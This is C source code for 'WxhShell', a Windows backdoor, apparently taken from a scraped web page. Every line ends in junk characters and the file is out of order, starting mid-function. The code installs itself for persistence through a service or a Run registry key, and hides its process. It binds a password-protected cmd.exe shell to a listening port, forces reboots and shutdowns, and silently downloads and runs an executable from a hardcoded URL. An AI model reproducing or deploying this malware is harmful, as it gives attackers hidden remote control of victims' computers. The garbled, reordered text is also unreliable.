    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -G&>b D  
    if(Boot(SHUTDOWN)) }LQ*vD-Jj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q#wg2  
    else { X||Z>w}v  
    closesocket(wsh); ]X~;?>#:p  
    ExitThread(0); E15"AO  
    } %\PnsnJ9Q  
    break; 2xRb$QF  
    } uV.3g 1 m  
  // 获取shell ?PORPv#  
  case 's': { f2Frb  
    CmdShell(wsh); 2Cn^<(F^4I  
    closesocket(wsh); >ijFQ667>j  
    ExitThread(0); |eL&hwqzG  
    break; Z0T{1YEJ  
  } 1 Y_e1tgmm  
  // 退出 @>f]0,"(  
  case 'x': { ;;'b;,/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ' 8`{u[:  
    CloseIt(wsh); n's3!HQY[  
    break; s>z$_  
    } =1t#$JG  
  // 离开 ,t5X'sY L  
  case 'q': { *9)7.} uY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'Y3>+7bI  
    closesocket(wsh); _.0c~\VA  
    WSACleanup(); 3n9$qr= '  
    exit(1); "Q9S<O8)  
    break; NhQIpzL)  
        } b $x<7l5C  
  } mLX1w)=r  
  } VpSk.WY/ e  
AfW63;kH  
  // 提示信息 Z'dY,<@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t]{qizfOB  
} ?^P#P0  
  } 6'ye-}vD-  
K6=-Zf  
  return; |Axg}Q|  
} J'^s5hxn+0  
5} |O  
// shell模块句柄 , M$*c  
int CmdShell(SOCKET sock) #EtS9D'd+  
{ Mp; t?C4  
STARTUPINFO si; ], Wh]q  
ZeroMemory(&si,sizeof(si)); 84tuN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0$l=ME(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g(<02t!OT=  
PROCESS_INFORMATION ProcessInfo; d}tn/Eu?B  
char cmdline[]="cmd"; Pa 2HFy2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ie^:PcU  
  return 0; "lLt=s2>L  
} 3 2Q/4  
_v4TyJ  
// 自身启动模式 VpMpZ9oM<  
int StartFromService(void) 6"WR}S0o  
{ I^/Ugu  
typedef struct ;5#P?   
{ Y{Kpopst  
  DWORD ExitStatus; R0+v5E  
  DWORD PebBaseAddress; AC,$(E  
  DWORD AffinityMask; w(`X P  
  DWORD BasePriority; td4*+)'FY  
  ULONG UniqueProcessId; !JUXq  
  ULONG InheritedFromUniqueProcessId; $/,qw   
}   PROCESS_BASIC_INFORMATION; Q6Q>b4 .3  
R6dw#;6{I  
PROCNTQSIP NtQueryInformationProcess; =%Gecj  
n|NI]Qi*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wRf_IBhCd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Gh0H) q  
VY<v?Of i-  
  HANDLE             hProcess; CU6rw+Vax  
  PROCESS_BASIC_INFORMATION pbi; Nt67Ye3;  
8<3J!X+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ttLC hL  
  if(NULL == hInst ) return 0; y% uUA]c*m  
@Qd6a:-6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z<En3^j`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \l_RyMi  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .rSeJZzuj  
~CldqXeI  
  if (!NtQueryInformationProcess) return 0; 2i', e  
#^<7VS!x  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k]Y+C@g  
  if(!hProcess) return 0; >!A&@1[M  
!l~tBJr*sB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BMU~1[r  
TWl':}  
  CloseHandle(hProcess); /YH Bhoat  
Cst\_j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Kr=DoQ."d8  
if(hProcess==NULL) return 0; Z i$a6  
{#uX   
HMODULE hMod; /#9O{)  
char procName[255]; HoymGU`w  
unsigned long cbNeeded; M]jzbJ3Q  
$ePAsJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wED~^[]f  
s7O?)f f  
  CloseHandle(hProcess); 9NaC7D$,  
u)&6;A4  
if(strstr(procName,"services")) return 1; // 以服务启动 go6Hb>  
y&lj+j  
  return 0; // 注册表启动 eL^,-3JA(]  
} ?F*gFW_k  
s?=f,I  
// 主模块 )Be}Ev#)Zx  
int StartWxhshell(LPSTR lpCmdLine) %&Z!-k(  
{ 9XF+? x  
  SOCKET wsl; mn*.z!N=  
BOOL val=TRUE; *ky5SM(NR  
  int port=0; N-3w)23*:  
  struct sockaddr_in door; h_?D%b~5  
h\C  
  if(wscfg.ws_autoins) Install(); 9g"a`a?c  
\PU|<Ru.  
port=atoi(lpCmdLine); PLg`\|  
2 'xT%  
if(port<=0) port=wscfg.ws_port; *`ji2+4Sjw  
/4w&! $M-  
  WSADATA data; ],>Z' W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Cf<i"   
3 _:yHwkD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T*J]e|aF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >8t3a-/  
  door.sin_family = AF_INET; JmWN/mx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5Tb93Q@c  
  door.sin_port = htons(port); -nN}8&l  
 s4;SA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q3T'rw%Eh  
closesocket(wsl); ?5'UrqYSW  
return 1; <bXfjj6YJ@  
} "1&C\}.7  
#]:yCiA  
  if(listen(wsl,2) == INVALID_SOCKET) { U|u v SJ)X  
closesocket(wsl); fseHuL=~  
return 1; >LFhu6T  
} bCdEItcD  
  Wxhshell(wsl); A"I:cw"KY  
  WSACleanup(); ,8c`  
DWHl,w;[z`  
return 0; d#vq+wR  
ss236&  
} ;wp)E nF  
fi:Z*-  
// 以NT服务方式启动 _Wk!d3bsx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {#zJx(2yG  
{ 1r\? uD  
DWORD   status = 0; 9@Cqg5Kx'  
  DWORD   specificError = 0xfffffff; #8%Lc3n  
[FAoC3 k-h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :a0qm.EN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f<!eJO:<'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g Uy >I(  
  serviceStatus.dwWin32ExitCode     = 0; xQm!  
  serviceStatus.dwServiceSpecificExitCode = 0; y_Bmd   
  serviceStatus.dwCheckPoint       = 0; ;I:jd")  
  serviceStatus.dwWaitHint       = 0; v /G,  
9H" u\t|?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x a7x 2]~-  
  if (hServiceStatusHandle==0) return; 06]J]  
kRTT ~  
status = GetLastError(); Yr ,e7da  
  if (status!=NO_ERROR) g&\A1H  
{ zo7Hm]W`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Xi6XV3G  
    serviceStatus.dwCheckPoint       = 0; 2J|Wbey  
    serviceStatus.dwWaitHint       = 0; &`Z>zT}  
    serviceStatus.dwWin32ExitCode     = status; /$%apci8  
    serviceStatus.dwServiceSpecificExitCode = specificError; m.&z:`x[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L V?- g  
    return; Ih{(d O;  
  } |*fGG?}  
V'mQ {[{R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C^2Tql  
  serviceStatus.dwCheckPoint       = 0; TF^Rh4  
  serviceStatus.dwWaitHint       = 0; w=rh@S]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =CFO]9  
} eXc`"T,C.  
<omSK- T-  
// 处理NT服务事件,比如:启动、停止 f*0[[J0]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <JuP+\JAm  
{ TXv3@/>ZlG  
switch(fdwControl) y['$^T?oP  
{ "S,,BjL  
case SERVICE_CONTROL_STOP: cE$<6&0  
  serviceStatus.dwWin32ExitCode = 0; qdx(wGG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; & VJ+X|Z  
  serviceStatus.dwCheckPoint   = 0; p[!&D}&6h  
  serviceStatus.dwWaitHint     = 0; VA&_dU]*  
  { jav7V"$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kOfbO'O9  
  } q3z<v:=1y  
  return; [O2xE037h`  
case SERVICE_CONTROL_PAUSE: z|Q)^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }G]6Rip 3  
  break; #e}Q|pF  
case SERVICE_CONTROL_CONTINUE: $>hPB[[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `k+ci7;  
  break; +4Aj/$%[q  
case SERVICE_CONTROL_INTERROGATE: etMQy6E\  
  break; /vYuwaWG=  
}; bE74Ui  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F/tGk9v  
} ,,sKPj[  
V8@VR`!'  
// 标准应用程序主函数 fZw/kjx@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p9 <XaJ}   
{ 1Mn=m w  
DI{VJ&n66  
// 获取操作系统版本 E z?O gE{  
OsIsNt=GetOsVer(); h64<F3}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !i,Eo-[Z  
vO`~rUA  
  // 从命令行安装 93Kd7x-3  
  if(strpbrk(lpCmdLine,"iI")) Install(); ><V<}&:y$(  
T`mG+"O  
  // 下载执行文件 LUc!a4i"fO  
if(wscfg.ws_downexe) { Y``50{7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h6Ovl  
  WinExec(wscfg.ws_filenam,SW_HIDE); oJ734v[X  
}  O{R)0&  
B5{ wSr  
if(!OsIsNt) { >r1cW7  
// 如果时win9x,隐藏进程并且设置为注册表启动 %CV@FdB  
HideProc(); 4 3V {q  
StartWxhshell(lpCmdLine); & Xm !i(i  
} >o9tlO)  
else mE=%+:o.  
  if(StartFromService()) mhVdsa  
  // 以服务方式启动 [1nfSW  
  StartServiceCtrlDispatcher(DispatchTable); $ @g\wz  
else i=T!4'Zu  
  // 普通方式启动 6|:K1bI)  
  StartWxhshell(lpCmdLine); NXo$rf:  
Of0(.-Q w  
return 0; L|ZxB7xk  
} {P')$f)  
0Lb:N]5m8  
2>TOC BB"  
O/Cwm;&t  
=========================================== D=1:-aLP7  
AK$&'t+$}7  
hhWIwR  
WN#S%G:Q)  
StLFq6BO  
?, B4  
" 7}#zF]vHNi  
(%~^Kmfb0  
#include <stdio.h> $ /`X7a{  
#include <string.h> !aQb Kp  
#include <windows.h> Lmsc ~~  
#include <winsock2.h> 8]h~jNku  
#include <winsvc.h> 5tx!LGOK  
#include <urlmon.h> @n,V2`"  
Br4[hUV/  
#pragma comment (lib, "Ws2_32.lib") &A}hx\_T  
#pragma comment (lib, "urlmon.lib") B']-4X{SGa  
UOIB}ut V  
#define MAX_USER   100 // 最大客户端连接数 g'cLc5\  
#define BUF_SOCK   200 // sock buffer q"(b}3  
#define KEY_BUFF   255 // 输入 buffer 6mV-+CnYC  
6|uv+$  
#define REBOOT     0   // 重启 #ZkT![ `  
#define SHUTDOWN   1   // 关机 !,lk>j.V  
w.VjGPp  
#define DEF_PORT   5000 // 监听端口 "hi d3"G  
AjVX  
#define REG_LEN     16   // 注册表键长度 e dTFk$0  
#define SVC_LEN     80   // NT服务名长度 iX%9$Bft<  
W6gI#  
// 从dll定义API ,>!%KYD/f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8+i=u" <  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3c%_RI.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rMWJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xO[V>Ud  
y0f:N U  
// wxhshell配置信息 XEegUTs  
struct WSCFG { %u}#|+8}  
  int ws_port;         // 监听端口 -*A1[Z ?  
  char ws_passstr[REG_LEN]; // 口令 -w"$[XP  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4mjlat(d  
  char ws_regname[REG_LEN]; // 注册表键名 v}LI-~M>U  
  char ws_svcname[REG_LEN]; // 服务名 : &bJMzB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qCkC 2Fy(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A^ofs*"Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "%}24t%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no GXaPfC0-y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @r&*Qsf|   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v-Tkp Yn  
$J8g)cS  
}; +=:_a$98  
{p.^E5&  
// default Wxhshell configuration .Hnhd/ c  
struct WSCFG wscfg={DEF_PORT, !>\&*h-Cm#  
    "xuhuanlingzhe", _h+7 KK  
    1, ,eGguNA9  
    "Wxhshell", GKc?  
    "Wxhshell", 7KesfH?  
            "WxhShell Service", u*f`\vs  
    "Wrsky Windows CmdShell Service", $Qz<:?D  
    "Please Input Your Password: ", |LW5dtQ  
  1, [tT_ z<e`  
  "http://www.wrsky.com/wxhshell.exe", yh2)Pc[  
  "Wxhshell.exe" S B~opN  
    }; -Uan.#~S  
 5@DCo  
// 消息定义模块 Mw3$QRM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !2Gua1z!CJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; IL go:xQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0W0GSDx  
char *msg_ws_ext="\n\rExit."; %~I&T". iC  
char *msg_ws_end="\n\rQuit."; mqHcD8X  
char *msg_ws_boot="\n\rReboot..."; iX o(  
char *msg_ws_poff="\n\rShutdown..."; Gphy8~eS  
char *msg_ws_down="\n\rSave to "; SwsJ<Dq^z  
[>N#61CV 5  
char *msg_ws_err="\n\rErr!"; 0SU v5c  
char *msg_ws_ok="\n\rOK!"; tnAj3wc  
N5{v;~Cm}V  
char ExeFile[MAX_PATH]; 2Z(t/Zp>  
int nUser = 0; X-tw)  
HANDLE handles[MAX_USER];  )ut$644R  
int OsIsNt; -RJ~Sky[  
=igTY1|af  
SERVICE_STATUS       serviceStatus; ^vxx]Hji  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fF(AvMsO  
:pM)I5MN[  
// 函数声明 oP`:NCj\9  
int Install(void); tA^+RO4  
int Uninstall(void); '<3h8\"  
int DownloadFile(char *sURL, SOCKET wsh); #1%ahPhR+  
int Boot(int flag); je@&|9h  
void HideProc(void); =@ acg0  
int GetOsVer(void); W/\pqH  
int Wxhshell(SOCKET wsl); ?%`Ph ?BZl  
void TalkWithClient(void *cs); HU'w[r 6a  
int CmdShell(SOCKET sock); r!1f>F*dt  
int StartFromService(void); "f8,9@  
int StartWxhshell(LPSTR lpCmdLine); qH0JZdk  
%X's/;(Lx`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sBYDo{0 1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4evNZ Q  
@D=B5f@(o  
// 数据结构和表定义 k>F!S`a&m  
SERVICE_TABLE_ENTRY DispatchTable[] = 2Y%7.YX"  
{ lX%-oRQ/os  
{wscfg.ws_svcname, NTServiceMain}, |||m5(`S  
{NULL, NULL} SOE-Kio=B  
}; 2z*}fkJ  
%f'=9pit  
// 自我安装 ^SsdM#E  
int Install(void) !@])Ut@tN  
{ 0ETT@/)]z  
  char svExeFile[MAX_PATH]; '.<iV!ZdZ  
  HKEY key; x]yIe&*('  
  strcpy(svExeFile,ExeFile); *#E_KW1RV  
 [Rub  
// 如果是win9x系统,修改注册表设为自启动 4i.&geX A.  
if(!OsIsNt) { u:']jw=f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n_4.`vs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  Uj\t04  
  RegCloseKey(key); 1) K<x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0C.5Qx   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 34X]b[^  
  RegCloseKey(key); MM]0}65KG  
  return 0; 50dN~(;p  
    } N<@K(? '  
  } `q\F C[W  
} /k ?l%AH  
else {  H{yBD xw  
"!(@MfjT  
// 如果是NT以上系统,安装为系统服务 {ZSAPq4)L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bDIhI}P  
if (schSCManager!=0) yUf`L=C:  
{ b$0;fEvIJn  
  SC_HANDLE schService = CreateService Q!3-P  
  ( &>+5 8  
  schSCManager, -W.-m2:1  
  wscfg.ws_svcname, WV'u}-v^  
  wscfg.ws_svcdisp, f+ZOE?"  
  SERVICE_ALL_ACCESS, L~e0^X?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0[fBP\H"Wr  
  SERVICE_AUTO_START, M@7U]X$g  
  SERVICE_ERROR_NORMAL, [kpQ:'P3  
  svExeFile, $L( ,lB  
  NULL, mE1Vr  
  NULL, =SuJ*  
  NULL, ?/1LueC:  
  NULL, {`k&Q +gY  
  NULL (=WbLNBS  
  ); olr#3te  
  if (schService!=0) N.+A-[7,W  
  { Ct?xTFb  
  CloseServiceHandle(schService); = 03G~7B>  
  CloseServiceHandle(schSCManager); `KLr!<i()  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -hfkF+=U'  
  strcat(svExeFile,wscfg.ws_svcname); nh0gT>a>@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]l h=ZC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p<h(  
  RegCloseKey(key); |OAiHSW"V  
  return 0; g18zo~LZ  
    } *Q?8OwhJ  
  } }@jJv||  
  CloseServiceHandle(schSCManager); |:4W5>sfg  
} ~`Vo0Z*S  
} ^8bc<c:P  
>EA\KrjW  
return 1; <KtL,a=2+  
} \p}GW  
hP{+`\&<f  
// 自我卸载 k,'MmAz  
int Uninstall(void) <\uDtbK  
{ S&y${f  
  HKEY key; /qwY/^  
!mWm@ }Ujg  
if(!OsIsNt) { ~iiDy;"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i9rv8 "0>  
  RegDeleteValue(key,wscfg.ws_regname); Gg GjBt  
  RegCloseKey(key); -R1;(n)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vg3iT }  
  RegDeleteValue(key,wscfg.ws_regname); +t*I{X(  
  RegCloseKey(key); YM NLn9  
  return 0; :/6aBM?  
  } G(shZ=fq  
} ToKG;Ff4b  
} K0o${%'@7  
else { 1#;^ Z3  
xT* 3QwK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {*g{9`   
if (schSCManager!=0) M&q~e@P  
{ I*JJvqh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9An \uH)mL  
  if (schService!=0) sUR5Q/Q  
  { EBk-qd a}  
  if(DeleteService(schService)!=0) { B<Cg_C  
  CloseServiceHandle(schService); ;o;ak.dTt  
  CloseServiceHandle(schSCManager); [euR<i*I#  
  return 0; 9mn~57`y  
  } 1 |) CQ  
  CloseServiceHandle(schService); l O*  
  } tQxxm=>  
  CloseServiceHandle(schSCManager); $_eJ@L#  
} &Qj1uf92.  
} Ma(Q~G .  
~@QAa (P.  
return 1; "|Yy "iB[  
} sredL#]BA  
|/8!P Km  
// 从指定url下载文件 MT)q?NcG  
int DownloadFile(char *sURL, SOCKET wsh) I1s= =  
{ Qi=0[  
  HRESULT hr; PA*k |  
char seps[]= "/"; i| ,}y`C#  
char *token; jLO$[c`;  
char *file; P|lDW|}D@  
char myURL[MAX_PATH]; O8v9tGZoh  
char myFILE[MAX_PATH]; ieWXr4@:  
XhWo~zh"  
strcpy(myURL,sURL); lk81IhI  
  token=strtok(myURL,seps); y0?HZ Xq  
  while(token!=NULL) (|<+yQ,@>  
  { cH:&S=>h  
    file=token; i PG:w+G  
  token=strtok(NULL,seps); 'L9hM.+  
  } +eKLwM  
#4"eQ*.*"  
GetCurrentDirectory(MAX_PATH,myFILE); Sd.Km a  
strcat(myFILE, "\\"); (~5]1S}F  
strcat(myFILE, file); umAO&S.+M  
  send(wsh,myFILE,strlen(myFILE),0); 8cMX=P  
send(wsh,"...",3,0); `)KGajB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MF*4E9Ue.  
  if(hr==S_OK) |)0Ta 9~  
return 0; (n2_HePE  
else 3,*A VcQA  
return 1; "H@I~X=  
h#)\K| qs  
} B`3z(a92S  
}y J,&N'p  
// 系统电源模块 >o& %via}  
int Boot(int flag) 1P 'L<z  
{ ` l'QAIo  
  HANDLE hToken; KyP@ hhj  
  TOKEN_PRIVILEGES tkp; M%Vp_ 0  
K)[\IJJM  
  if(OsIsNt) { oOubqx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JX&%5sn(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \`2EfYJ{  
    tkp.PrivilegeCount = 1; *u,xBC2C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k,<7)-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]-a/)8  
if(flag==REBOOT) { G-]<+-Q$4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) OR' e!{  
  return 0; C8)s6  
} usoyH0t!?  
else { qx*b\6Rt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "A~D(1K  
  return 0; 8ql<7RTM!  
} 5 I#-h<SG  
  } x5;D'Y t"|  
  else { [ z/G  
if(flag==REBOOT) { $/(``8li_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CO@ kLI  
  return 0; -=UvOzw  
} `jhbKgR[  
else { @(N} {om  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4&e<Sc64  
  return 0; M\JAB ;A  
} gA1j'!\6l9  
} 0lOan  
Y<N#{)Q  
return 1; Kg /,  
} IC$"\7 @  
as y:[r"  
// win9x进程隐藏模块 }"%mP 4]&  
void HideProc(void) < %<nh`D  
{ <1x u&Z7  
:8N by$#V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w6lx&K-  
  if ( hKernel != NULL ) opzlh@R 3  
  { M-+!z5 q~d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T0b/txS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -sDl[  
    FreeLibrary(hKernel); ~rXLb:  
  } od,,2pwK+  
y0) mBCX  
return; [L|vBr  
} ]1h9:PF  
ajkpU.6E:  
// 获取操作系统版本 q8GCO\(  
int GetOsVer(void) }#=t%uZ/  
{ fmLDufx  
  OSVERSIONINFO winfo; 3{ea~G)[9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I-kK^_0mV<  
  GetVersionEx(&winfo); fti0Tz'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _ KyhX|  
  return 1; Ar_Yl|a  
  else W%9~'pXgB  
  return 0; h*Mi/\  
} fNyXDCl  
K>\v<!%a  
// 客户端句柄模块 "s`#` '  
int Wxhshell(SOCKET wsl) &&"+\^3  
{ a%an={  
  SOCKET wsh; :Z83*SPc  
  struct sockaddr_in client;  91fZ r  
  DWORD myID; 4Y G\<Zf  
{8%KO1xB  
  while(nUser<MAX_USER) HuN_$aP  
{ 4>B=k  
  int nSize=sizeof(client); (Bpn9}F-V.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lm+s5}*%o  
  if(wsh==INVALID_SOCKET) return 1; )! k l:  
Qdc)S>gp  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6]HMhv  
if(handles[nUser]==0) 4T){z^"  
  closesocket(wsh); onv0gb/J  
else 9%MgAik(  
  nUser++; O[|X=ZwR:l  
  } #??[;xjs!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T=g2gmo9  
i0?/\@gd  
  return 0; .8[uEQ_L  
} "412w^5[T  
Cw5 B p9  
// 关闭 socket $g,v]MW  
void CloseIt(SOCKET wsh) G6\`Iy68/v  
{ ,~Lx7 5{  
closesocket(wsh); tq*6]q8c>  
nUser--; $$B#S '  
ExitThread(0); [l~G7u.d  
} 4P7r\ hs  
X&M04  
// 客户端请求句柄 LMp^]*)t  
void TalkWithClient(void *cs) 19Mu}.+;  
{ . lSoC`HE  
YYe=E,q  
  SOCKET wsh=(SOCKET)cs; -V'Y^Df  
  char pwd[SVC_LEN]; |#(y?! A^  
  char cmd[KEY_BUFF]; C+Wa(K  
char chr[1]; %w/vKB"nO  
int i,j; 'PTQ S,E  
O`9vEovjs  
  while (nUser < MAX_USER) { =W gzj|Kr  
b |ijkys  
if(wscfg.ws_passstr) { rWN%j)#+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Vw&# Lo  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )3 '8T>^<K  
  //ZeroMemory(pwd,KEY_BUFF); -O $!sFmY  
      i=0; E$v!Z;A  
  while(i<SVC_LEN) { I 6L3M\+-  
iBY16_q  
  // 设置超时 j:HIcCp  
  fd_set FdRead; ahN8IV=+Gm  
  struct timeval TimeOut; ; 2aPhA  
  FD_ZERO(&FdRead); be(hY{y`  
  FD_SET(wsh,&FdRead); F&7^M0x\ O  
  TimeOut.tv_sec=8; 8/"C0I (G  
  TimeOut.tv_usec=0; #w!ewCvt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b4(,ls  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7GJcg7s*T  
K d{o/R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;O<-4$  
  pwd=chr[0]; |[)pQGw  
  if(chr[0]==0xd || chr[0]==0xa) { !-JvVdM;(  
  pwd=0; M'pIAm1p  
  break; j.\0p-,  
  } E!=Iz5  
  i++; Ns\};j?TU*  
    } ^ h2!u'IQ  
c1 j@*6B  
  // 如果是非法用户,关闭 socket G4\|bwh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5>VX]nE3!  
} Ggbz  
KppYe9?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qu;$I'Ul%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  $3cZS  
R.YUUXT  
while(1) { FyNm1QNy^  
@qB>qD~WsD  
  ZeroMemory(cmd,KEY_BUFF); Us%g&MWdpb  
7ab'q&Y[  
      // 自动支持客户端 telnet标准   I |"'  
  j=0; <00=bZzX  
  while(j<KEY_BUFF) { SErh"~[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~G.MaSm  
  cmd[j]=chr[0]; [i_evsUj?  
  if(chr[0]==0xa || chr[0]==0xd) { v]T?xo~@'  
  cmd[j]=0; ^E".`~R  
  break; rkz84wDx  
  } vTC{  
  j++; 4,BJK`{  
    } ('o} EoXS  
jI9#OEH_g  
  // 下载文件 b)r;a5"<5  
  if(strstr(cmd,"http://")) { h\+8eeIl  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f6{.Uq%SGp  
  if(DownloadFile(cmd,wsh)) uXb} o UC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w zi7pJjXh  
  else j' b0sve|?  
